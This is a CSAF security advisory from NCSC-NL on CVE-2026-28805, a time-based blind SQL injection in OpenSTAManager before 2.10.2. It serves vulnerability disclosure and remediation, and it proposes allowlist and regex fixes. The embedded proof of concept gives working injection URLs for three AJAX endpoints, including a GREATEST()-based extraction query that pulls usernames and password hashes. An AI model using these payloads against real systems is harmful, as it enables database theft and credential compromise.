{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-28805", "tracking": { "current_release_date": "2026-04-03T15:45:31.005664Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-28805", "initial_release_date": "2026-04-01T21:24:51.535078Z", "revision_history": [ { "date": "2026-04-01T21:24:51.535078Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-04-01T21:24:54.352333Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-04-02T14:27:10.518549Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-04-02T14:27:12.979005Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-04-02T14:40:11.469970Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)." }, { "date": "2026-04-02T14:40:13.573136Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-04-02T19:38:57.806223Z", "number": "7", "summary": "Unknown change." }, { "date": "2026-04-03T15:40:27.152070Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-04-03T15:40:37.520678Z", "number": "9", "summary": "NCSC Score updated." } ], "status": "interim", "version": "9" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<2.10.2", "product": { "name": "vers:unknown/<2.10.2", "product_id": "CSAFPID-5984839" } } ], "category": "product_name", "name": "openstamanager" } ], "category": "vendor", "name": "devcode-it" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-28805", "cwe": { "id": "CWE-89", "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" }, "notes": [ { "category": "description", "text": "## Description\n\nMultiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the `options[stato]` GET parameter. The user-supplied value is read from `$superselect['stato']` and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.\n\nAn authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.\n\n## Affected Endpoints\n\nThree modules share the same vulnerability pattern:\n\n### 1. Preventivi (Quotes) - Primary\n\n- **Endpoint:** `GET /ajax_select.php?op=preventivi`\n- **File:** `modules/preventivi/ajax/select.php`, line 60\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/preventivi/ajax/select.php, lines 59-60\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';\n$where[] = '('.$stato.' = 1)';\n```\n\nThe `$stato` variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes `({user_input} = 1)`, allowing an attacker to break out of the expression and inject arbitrary SQL.\n\n### 2. Ordini (Orders)\n\n- **Endpoint:** `GET /ajax_select.php?op=ordini-cliente`\n- **File:** `modules/ordini/ajax/select.php`, line 52\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/ordini/ajax/select.php, lines 51-52\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';\n$where[] = '`or_statiordine`.'.$stato.' = 1';\n```\n\nThe `$stato` variable is inserted as a column name reference. The resulting SQL fragment becomes `` `or_statiordine`.{user_input} = 1 ``, allowing injection after the table-column reference.\n\n### 3. Contratti (Contracts)\n\n- **Endpoint:** `GET /ajax_select.php?op=contratti`\n- **File:** `modules/contratti/ajax/select.php`, line 57\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/contratti/ajax/select.php, lines 56-57\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';\n$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';\n```\n\nThe `$stato` variable is inserted inside a subquery. The resulting SQL fragment becomes `WHERE {user_input} = 1)`, allowing an attacker to close the subquery and inject into the outer query.\n\n## Root Cause Analysis\n\n### Data Flow\n\n1. The attacker sends a GET request with `options[stato]=` to `/ajax_select.php`\n2. `ajax_select.php` (line 30) reads the value via `filter('options')`, which applies HTMLPurifier sanitization\n3. HTMLPurifier strips HTML tags and the `>` character, but does **NOT** strip SQL keywords (`SELECT`, `SLEEP`, `IF`, `UNION`, etc.) or SQL-significant characters (`(`, `)`, `=`, `'`, etc.)\n4. The sanitized value is passed to `AJAX::select()` in `src/AJAX.php` (line 40)\n5. `AJAX::getSelectResults()` assigns `$superselect = $options` (line 273) and `require`s the module's `select.php` file (line 275)\n6. The module's `select.php` reads `$superselect['stato']` and concatenates it directly into the `$where[]` array\n7. `AJAX::selectResults()` joins all WHERE elements with `AND` and executes the query via `Query::executeAndCount()` (line 120)\n\n### Why HTMLPurifier is Insufficient\n\nHTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is **not** an SQL injection prevention mechanism. Specifically:\n\n- It does **not** strip SQL keywords: `SELECT`, `SLEEP`, `IF`, `UNION`, `FROM`, `WHERE`\n- It does **not** strip SQL operators: `=`, `(`, `)`, `,`, `+`, `-`, `*`\n- It strips the `>` character (used in HTML), which can be bypassed using MySQL's `GREATEST()` function\n- It provides zero protection against SQL injection\n\n## Proof of Concept\n\n### Prerequisites\n\n- A valid user account on the OpenSTAManager instance (any privilege level)\n- Network access to the application\n\n### Step 1: Authenticate\n\n```\nPOST /index.php HTTP/1.1\nHost: \nContent-Type: application/x-www-form-urlencoded\n\nop=login&username=&password=\n```\n\nSave the `PHPSESSID` cookie from the `Set-Cookie` response header.\n\n### Step 2: Verify Injection (SLEEP test)\n\n**Baseline request** (normal response time ~200ms):\n\n```\nGET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1\nHost: \nCookie: PHPSESSID=\n```\n\n**Injection request** (response time ~10 seconds):\n\n```\nGET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1\nHost: \nCookie: PHPSESSID=\n```\n\n**Expected result:** The response is delayed by approximately 10 seconds, confirming that the `SLEEP(10)` function was executed by the database server. The response body in both cases is identical: `{\"results\":[],\"recordsFiltered\":0}`.\n\n\"image\"\n\n\n### Step 3: Data Extraction (demonstrating impact)\n\nUsing binary search with time-based boolean conditions, an attacker can extract arbitrary data. The `>` character is stripped by HTMLPurifier, so the `GREATEST()` function is used as an equivalent:\n\n**Extract username length:**\n\n```\nGET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1\n```\n\nThis technique was used to successfully extract:\n\n- **Username:** `admin` (5 characters, extracted character by character)\n- **Password hash prefix:** `$2y$10$qAo04wNbhR9cpxjHzrtcnu...` (bcrypt)\n- **MySQL version:** `8.3.0`\n\n### PoC for Other Endpoints\n\n**Ordini (orders):**\n\n```\nGET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1\n```\n\n**Contratti (contracts):**\n\n```\nGET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1\n```\n\nBoth endpoints show the same SLEEP-based timing delay, confirming the injection.\n\n## Impact\n\n- **Confidentiality:** An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.\n- **Integrity:** With MySQL's `INSERT`/`UPDATE` capabilities via subqueries, an attacker may be able to modify data.\n- **Availability:** An attacker can execute `SLEEP()` with large values or resource-intensive queries to cause denial of service.\n\n## Proposed Remediation\n\n### Option A: Allowlist Validation (Recommended)\n\nReplace the direct concatenation with an allowlist of permitted column names:\n\n```php\n// modules/preventivi/ajax/select.php — FIXED\n$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];\n$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)\n ? $superselect['stato']\n : 'is_pianificabile';\n$where[] = '('.$stato.' = 1)';\n```\n\n```php\n// modules/ordini/ajax/select.php — FIXED\n$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];\n$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)\n ? $superselect['stato']\n : 'is_fatturabile';\n$where[] = '`or_statiordine`.'.$stato.' = 1';\n```\n\n```php\n// modules/contratti/ajax/select.php — FIXED\n$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];\n$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)\n ? $superselect['stato']\n : 'is_pianificabile';\n$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';\n```\n\nThis approach is recommended because the `stato` parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.\n\n### Option B: Regex Validation (Alternative)\n\nIf the set of column names is dynamic, validate the format strictly:\n\n```php\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';\nif (!preg_match('/^[a-z_]+$/i', $stato)) {\n $stato = 'is_pianificabile'; // fallback to safe default\n}\n$where[] = '('.$stato.' = 1)';\n```\n\nThis ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.\n\n### Option C: Backtick Quoting (Supplementary)\n\nIn addition to validation, wrap the column name in backticks to treat it as an identifier:\n\n```php\n$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';\n```\n\n**Note:** This alone is insufficient without input validation but provides defense-in-depth.\n\n### Global Recommendation\n\nAudit all usages of `$superselect` across the codebase. Any value from `$superselect` that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The `prepare()` function is already used correctly in other parts of the code — the issue is specifically where `$superselect` values are used as column names or bare expressions.\n\n### Credits\nOmar Ramirez", "title": "github - https://api.github.com/advisories/GHSA-3gw8-3mg3-jmpc" }, { "category": "description", "text": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, multiple AJAX select handlers in OpenSTAManager are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database. This issue has been patched in version 2.10.2.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28805" }, { "category": "description", "text": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, multiple AJAX select handlers in OpenSTAManager are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database. This issue has been patched in version 2.10.2.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28805.json" }, { "category": "other", "text": "0.00031", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is cwe data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5984839" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-3gw8-3mg3-jmpc" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28805" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28805.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-3gw8-3mg3-jmpc" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/devcode-it/openstamanager/commit/50b9089c506ba2ca249afb1dfead2af5d42c10e7" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/devcode-it/openstamanager/commit/679c40fa5b3acad4263b537f367c0695ff9666dc" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-3gw8-3mg3-jmpc" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5984839" ] } ], "title": "CVE-2026-28805" } ] }